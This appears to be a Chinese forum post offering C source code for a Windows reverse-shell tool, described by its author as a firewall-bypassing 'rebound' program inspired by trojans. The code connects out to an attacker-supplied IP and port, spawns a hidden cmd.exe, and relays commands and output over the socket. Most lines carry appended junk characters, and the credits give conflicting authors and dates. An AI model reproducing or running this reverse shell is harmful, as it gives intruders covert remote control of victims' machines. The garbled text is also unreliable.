这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 OEMYS I%
_J' _9M?>
/* ============================== KY}c}*0
Rebound port in Windows NT -2Bkun4Pt
By wind,2006/7 j0^%1
===============================*/ -qv*%O@
#include Vqr#%.N
#include |]s/NNU
hsYS<]
#pragma comment(lib,"wsock32.lib") XEK% \o}
~MuD`a7#G
void OutputShell(); !h\>[ O
SOCKET sClient; $Sz@u"ig%
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; M1UabqQ
cOz8YVR-
void main(int argc,char **argv) -|Z[GN:
{ ^g^R[8
WSADATA stWsaData; 6}b1*xQ
int nRet; T'W)RYnwl
SOCKADDR_IN stSaiClient,stSaiServer; "}"hQ.kAz
]yg3|C;
if(argc != 3) gzV&S5A{_
{ t(d$v_*y51
printf("Useage:\n\rRebound DestIP DestPort\n"); ,#
i@jB
return; H> Y0R
} G3Z>,"w;=
yiourR)H<
WSAStartup(MAKEWORD(2,2),&stWsaData); F ?APDGAN
p]z< 43O$
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); )(^L*
pK_n}QW
stSaiClient.sin_family = AF_INET; i-kj6N5
stSaiClient.sin_port = htons(0); }02#[vg
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NoSq:e
hmijp1u
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q$#5>5&
{ P|0dZHpT
printf("Bind Socket Failed!\n"); )uG7 DR
return; i\h"N K
} [Un~]E.'J
>VnBWa<j3
stSaiServer.sin_family = AF_INET; >0^oC[ B
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); gfr
y5e
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pv3SAO4
]H%SGQPn
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) yX`5x^wVw
{ NA=I7I@
printf("Connect Error!"); '3<AzR2
return; &>jSuvVT
} seNJ6p=`
OutputShell();
4y:pj7h
} O6
:GE'S
QGC%, F"+
void OutputShell() F\K&$5J{p
{ 9Q*T'+V
char szBuff[1024]; 'MWu2L!F
SECURITY_ATTRIBUTES stSecurityAttributes; k'(d$;Jgr
OSVERSIONINFO stOsversionInfo; WUN|,P`b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Xc>M_%+R
STARTUPINFO stStartupInfo; f3[/zcm;
char *szShell; F]fBFDk
PROCESS_INFORMATION stProcessInformation; r2h{#2
unsigned long lBytesRead; Exu5|0AAE
`]T#uP<u
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^9jrI
6=aXz2.f
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); jV)4+D
stSecurityAttributes.lpSecurityDescriptor = 0; z\kiYQ6kA
stSecurityAttributes.bInheritHandle = TRUE; T09'qB
F{'lF^Dc
_MmSi4]yd
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >>>&{>}!
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); `!um)4
Rr% CP[bH
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); "/#=8_f
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $XZC8L#
stStartupInfo.wShowWindow = SW_HIDE; L-,C5^
stStartupInfo.hStdInput = hReadPipe; EE,57(
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ab@1JAgs
=Z(_lLNmh
GetVersionEx(&stOsversionInfo); F<YXkG4pO
F\Z|JCA
switch(stOsversionInfo.dwPlatformId) Y}n$s/O:u8
{ Q7{/ T0
case 1: ~BbF:DS
szShell = "command.com"; dEvjB"x
break; .7`c(9<
default: 23iMG]J&
szShell = "cmd.exe"; JNx;/6'd,
break; [S:{$4&
} \@eaSa
v>!tws5e
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !zW22M
UXdnN;0
send(sClient,szMsg,77,0); LJ{P93aq`^
while(1) |z
8Wh
{ 71I: P|.>
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); TGSkJ 1Lx
if(lBytesRead) B]lM69Hz
{ 2zlBrjk;
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); J+:gIszsWT
send(sClient,szBuff,lBytesRead,0); `JZ`j7f
} Yp@i{$IUW
else I%b}qC"5M
{ >S[NI<=8S
lBytesRead=recv(sClient,szBuff,1024,0); 5<RZht$i
if(lBytesRead<=0) break; SKdh!*G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Rch?@O#J
} gc[BP>tl\
} _q1b3)`D
)r`F}_CEL
return; y7@q]~%
}